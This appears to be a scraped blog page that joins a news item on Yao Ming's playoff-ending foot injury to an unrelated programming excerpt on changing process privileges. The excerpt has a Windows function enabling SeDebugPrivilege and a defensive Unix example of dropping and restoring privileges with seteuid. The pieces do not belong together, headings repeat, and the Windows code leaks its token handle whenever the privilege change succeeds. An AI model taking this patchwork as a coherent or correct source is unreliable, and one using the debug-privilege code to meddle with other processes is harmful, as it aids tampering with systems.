Because of foot injury,Yao Ming out of NBA playoffs

发贴者 healther 时间： 10:52:00 PM

"In order for the bone to heal properly, Yao will need to immobilise the foot by wearing a walking boot," Dr. Tom Clanton, the Rockets' team physician, said in a statement on the team's website (www.nba.com/rockets).

"He should be able to resume his regular workout routine some time between the next eight to 12 weeks," Clanton added.

Yao was originally thought to have sprained his left ankle in an 108-94 loss to the Los Angeles Lakers in game three of their Western Conference semi-finals on Friday.

Yao's injury will come as a blow to the Rockets who trail 2-1 in their best-of-seven series. The teams travel to Houston on Sunday for game four.

Yao broke the same foot in February 2008 and missed the NBA playoffs last year. He returned to play for China in the Beijing Olympics.

Changing privilege levels

Changing privilege levels

like the following for example:

void EnableDebugPriv( void )

{

HANDLE hToken;

LUID sedebugnameValue;

TOKEN_PRIVILEGES tkp;

if ( ! OpenProcessToken( GetCurrentProcess(),

TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )

return;

if ( ! LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) ){

CloseHandle( hToken );

return;

}

tkp.PrivilegeCount = 1;

tkp.Privileges[0].Luid = sedebugnameValue;

tkp.Privileges[0].Attributes = 2;//SE_PRIVILEGE_ENABLED;

if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) )

CloseHandle( hToken );

}

When an application runs with an EUID different from its RUID, it's to provide the user with privileges he needs but doesn't have (file access, reserved system calls...). However these privileges are only needed for a very short time, for instance when opening a file, otherwise the application is able to run with its user's privileges. It's possible to temporarily change an application EUID with the system-call :

  int seteuid (uid_t uid);

A process can always change its EUID value giving it the one of its RUID. In that case, the old UID is kept in a saved field called SUID (Saved UID) different from SID (Session ID) used for control terminal management. It's always possible to get the SUID back to use it as EUID. Of course, a program having a null EUID (root) can change at will both its EUID and RUID (it's the way /bin/su works).
To reduce the risks of attacks, it's suggested to change the EUID and use the RUID of the users instead. When a portion of code needs privileges corresponding to those of the file's owner, it's possible to put the Saved UID into the EUID. Here is an example :

  uid_t e_uid_initial;
  uid_t r_uid;

  int
  main (int argc, char * argv [])
  {
    /* Saves the different UIDs */
    e_uid_initial = geteuid ();
    r_uid = getuid ();

    /* limits access rights to the ones of the
     * user launching the program */
    seteuid (r_uid);
    ...
    privileged_function ();
    ...
  }

  void
  privileged_function (void)
  {
    /* Gets initial privileges back */
    seteuid (e_uid_initial);
    ...
    /* Portion needing privileges */
    ...
    /* Back to the rights of the runner */
    seteuid (r_uid);
  }

This method is much more secure than the unfortunately all to common one consisting of using the initial EUID and then temporarily reducing the privileges just before doing a "risky" operation. However this privilege reduction is useless against buffer-overflow attacks. As we'll see in a next article, these attacks intend to ask the application to execute personal instructions and can contain the system-calls needed to make the privilege level higher. Nevertheless, this approach protects from external commands and from most race conditions.
